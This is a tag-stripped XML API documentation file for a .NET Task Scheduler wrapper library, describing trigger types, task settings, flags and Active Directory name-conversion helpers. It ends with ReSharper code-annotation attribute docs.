+ Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + 